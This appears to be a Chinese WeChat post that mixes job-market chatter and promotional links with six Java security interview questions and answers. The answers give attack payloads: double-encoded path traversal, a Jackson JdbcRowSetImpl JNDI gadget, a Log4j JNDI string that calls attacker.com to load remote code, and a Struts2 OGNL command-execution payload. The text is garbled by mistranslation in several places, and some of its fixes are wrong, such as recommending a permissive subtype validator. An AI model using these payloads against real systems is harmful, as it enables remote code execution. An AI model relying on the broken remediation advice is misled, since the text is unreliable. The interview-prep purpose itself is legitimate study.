《网安面试指南》https://mp.weixin.qq.com/s/RIVYDmxI9g_TgGrpbdDKtA?token=1860256701&lang=zh_CN
5000篇网安资料库https://mp.weixin.qq.com/s?__biz=MzkwNjY1Mzc0Nw==&mid=2247486065&idx=2&sn=b30ade8200e842743339d428f414475e&chksm=c0e4732df793fa3bf39a6eab17cc0ed0fca5f0e4c979ce64bd112762def9ee7cf0112a7e76af&scene=21#wechat_redirect
中午摸鱼刷群聊,看到圈里都在传网安公司现在玩「边裁边招」的套路——老员工咔咔砍,应届生呼呼招。这咱也不知道真假,赶紧翻出脉脉看看。
还确实,似乎特别是今年互联网甲方大规模招收新人,似乎让互联人普遍被称为30+的危机,似乎也给了刚毕业的年轻人新的机会,同时公司还能降低了。
传统网安厂商也不例外,据说最近网安公司产品线受到大模型的冲击,大量的评判,同时又在高新挖掘算法、大模型阵地,看看脉脉里是这样的,不知道你呆的公司现在是什么情况,来吧评论区聊聊。
不管怎么样,今年的届生来说,应该是比较难的。
也正如我前几天发的《11家公司放出3w+的岗位然而》
对于应届生来说也很不错的机会,特别是哪些学年还不错的小伙伴。珍惜大厂降本增效的机会,紧抓刷面试题抓,紧找个机会进大厂一波。
为了方便大家沟通交流25年校招的信息、面试经验,我专门在星球中拉了个校招群,进星球后扫描进就可以了(会不定期发放内推码)---去后方领劵再进哈。
1. Spring Cloud Config路径遍历
配置项:
spring:cloud:config:server:git:uri: https://github.com/config-repo
问题:如何通过恶意应用名构造路径寻找敏感文件?
答案:
-
攻击方式:请求
http://config-server/{application}/{profile}
,设置application=..%252F..%252Fetc
(双重URL编码) -
修复方案:配置
spring.cloud.config.server.git.force-pull=true
并限制仓库路径
2. Jackson多态类型处理
代码片段:
@JsonTypeInfo(use = Id.NAME, include = As.PROPERTY, property = "type")
public abstract class Payload {}
问题:如何利用该注解实现反序列化?攻击给出修复方案
答案:
-
攻击方式:构建包含
"type":"com.sun.rowset.JdbcRowSetImpl"
的JSON数据触发JNDI注入 - 修复方案:
-
藝術
@JsonTypeInfo(visible = false)
-
配置
mapper.activateDefaultTyping()
时使用LaissezFaireSubTypeValidator
-
3. Log4j2 JNDI 注入
日志代码:
logger.error("Error processing request: {}", userInput);
问题:在Log4j 2.14.1环境下如何构造RCE?给出修复方案
答案:
-
攻击Payload:输入
${jndi:ldap://attacker.com/Exploit}
- 修复方案:
-
升级到2.17.0+并设置
log4j2.formatMsgNoLookups=true
-
禁用JNDI功能:
-Dlog4j2.enableJndi=false
-
4. Struts2 OGNL注入
代码片段:
<result type="freemarker"><param name="location">/templates/${templateName}.ftl</param>
</result>
问题:如何通过templateName参数执行系统命令?
答案:
-
攻击Payload:
${(#_memberAccess["allowStaticMethodAccess"]=true,#a=@java.lang.Runtime@getRuntime().exec('calc'))}
-
修复方案:将Struts升级到最新版本并取消动态方法调用
5. JVM字节码控制漏洞
代码片段:
public class UnsafeClassLoader extends ClassLoader {public Class defineClass(byte[] code) {return super.defineClass(code, 0, code.length);}
}
问题:分析该代码的安全风险及防御方法
答案:
-
风险点:允许动态加载未验证的字节码,可能导致代码执行
- 策略:
-
对货运类别进行包名白名单审核
-
启用SecurityManager并配置
RuntimePermission("defineClass")
-
6.并发比赛条件
代码片段:
public void transfer(Account from, Account to, BigDecimal amount) {if (from.getBalance().compareTo(amount) >= 0) {from.debit(amount); //步骤1to.credit(amount); //步骤2}
}
问题:如何利用竞争条件实现税收税收?给出修复方案
答案:
-
攻击方式:在步骤1和步骤2之间发起发起请求透支余额
- 修复方案:
-
使用数据库旅游锁
SELECT FOR UPDATE
-
增值
@Transactional
服务保证 -
在应用层使用可重入锁
-